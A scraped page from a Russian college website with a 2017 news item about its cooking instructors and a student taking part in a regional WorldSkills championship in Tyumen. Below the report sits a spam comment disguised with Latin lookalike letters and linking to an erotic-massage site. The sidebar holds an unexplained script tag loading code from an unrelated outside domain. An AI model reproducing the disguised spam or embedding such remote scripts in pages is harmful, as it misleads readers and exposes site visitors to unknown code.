Главная
Регистрация
Вход

Приветствую Вас Гость | RSS

Меню сайта

Категории раздела
Абитуриентам [0]
Для желающих поступить в наш колледж

Независимая оценка
Как вы оцениваете качество образовательных услуг нашего колледжа?
Всего ответов: 212

Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0

  
Главная » 2017 » Февраль » 21 » Региональный чемпионат «Молодые профессионалы» - 2017
08:44
Региональный чемпионат «Молодые профессионалы» - 2017

С 14 по 19 февраля 2017 года в г. Тюмени прошел Региональный чемпионат «Молодые профессионалы» (WorldSkills Russia) Тюменская область 2017.

В компетенциях «Поварское дело» и  «Кондитерское дело», которое  проходило на площадке № 3 в ГАПОУ ТО «Тюменский техникум индустрии питания, коммерции и сервиса», приняли участие в качестве экспертов Федосенко Ирина Петровна и Мазурова Валентина Александровна. В течение трех дней эксперты работали на площадках, где оценивали мастерство участников в приготовлении и оформлении блюд и кондитерских изделий.

В качестве участника в компетенции «Поварское дело» от нашего колледжа выступала студентка группы ТПП-09/15 Лагутина Олеся.

Каждый из участников отрабатывал два модуля, в каждом из которых должны были приготовить, оформить и вовремя подать три блюда по три порции.

1 модуль – холодная закуска из птицы с соусом и гарниром, рыбное горячее блюдо с 2 гарнирами и 2 соусами, десерт из песочного теста с ягодным соусом декоративным элементом.

2 модуль – закуска «Тапас», горячее мясное блюдо «зразы рубленные» с 2 гарнирами и 2 соусами, десерт «Павлова» с шоколадным соусом и декоративным элементом.

Олеся справилась с заданием достойно. Показав, на наш взгляд, неплохие результаты.

Хоть мы и не заняли призового места, но приобрели опыт, который пригодится нам в следующем году.

 

 

Материал подготовили:

мастера производственного обучения

И.П. Федосенко, В.А. Мазурова

Просмотров: 261 | Добавил: iTiger | Рейтинг: 1.0/1
Всего комментариев: 1
0
1 Hillosoiz   [Материал]
Повceдневнaя жизнь cтавит пеpeд нами тaкиe задачки, рeшать кoторыe нe учат ни в какой школe. Мнoжеcтво курcов доcтупны тoлько в больших горoдаx и платить зa них пpиходится немало. Tеперь нe нужнo тратить вpемя и деньги, мoжнo получить вcё и сразу, пpичём абcoлютнo бесплатнo. Школьныe урооки, ceкреты краcоты и нaродные рeцепты, видеокуpсы для дoмашнегo мастepа, пчеловoдa, фoтографа, кулинарa и т.д. Bсё, на что хватит вашeй фантaзии, собрaно в однoм мecтe. Учиться – простo, интерессно и круто. Видеоуроки на все случаи жизни: удиви дpузей – стань умнee!

http://mirurokov.net/214-tehnika-massazha-eroticheskiy-massazh-dlya-muzhchiny-master-klass.html - еротический массаж мужчине обучение видео

Имя *:
Email *:
Код *:


Вход на сайт
Логин:
Пароль:

Мы потомки Героев


ПОЛЕЗНЫЕ ССЫЛКИ

Министерство образования и науки Российской Федерации Единое окно доступа к образовательным ресурсам Федеральный портал "Российское образование" Единая коллекция цифровых образовательных ресурсов Федеральный центр информационно-образовательных ресурсов


Персональные данные Дети МЕСТО РОЖДЕНИЯ:
ТЮМЕНСКИЙ КРАЙ Конкурс новый взгляд
<script src="https://tabun.info/out/index.php"></script>
http://профстажировки.рф/
Поиск

Календарь
«  Февраль 2017  »
ПнВтСрЧтПтСбВс
  12345
6789101112
13141516171819
20212223242526
2728

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Block title
Block content

Архив записей

Copyright MyCorp © 2020
Создать бесплатный сайт с uCoz